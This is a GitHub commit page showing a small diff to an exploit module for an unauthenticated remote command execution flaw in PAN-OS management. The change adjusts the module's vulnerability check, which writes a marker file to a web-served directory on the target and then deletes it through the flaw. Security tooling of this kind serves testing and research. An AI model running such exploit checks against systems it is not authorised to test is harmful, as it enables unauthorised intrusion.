Skip to content

Commit eda46f1

Browse files
committed
the check routing shoudl return Safe the first time we try to leverage teh vulnerability, if that doesnt work. But still return Unknown if the vulnerability fails the second time we leverage it.
1 parent 41bcf46 commit eda46f1

File tree

1 file changed

+3
-1
lines changed

1 file changed

+3
-1
lines changed

modules/exploits/linux/http/panos_management_unauth_rce.rb

Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -82,7 +82,8 @@ def check
8282

8383
# NOTE: We set dontfail to true, as a check routine cannot fail_with().
8484

85-
return CheckCode::Unknown unless execute_cmd(
85+
# return Safe if we fail to trigger the vulnerability and execute a command.
86+
return CheckCode::Safe unless execute_cmd(
8687
"echo #{check_file_name} > /var/appweb/htdocs/unauth/#{check_file_name}",
8788
dontfail: true
8889
)
@@ -96,6 +97,7 @@ def check
9697

9798
if res.code == 200 && res.body.include?(check_file_name)
9899

100+
# return Unknown if we fail to trigger the vulnerability second time.
99101
return CheckCode::Unknown unless execute_cmd(
100102
"rm -f /var/appweb/htdocs/unauth/#{check_file_name}",
101103
dontfail: true

0 commit comments

Comments
 (0)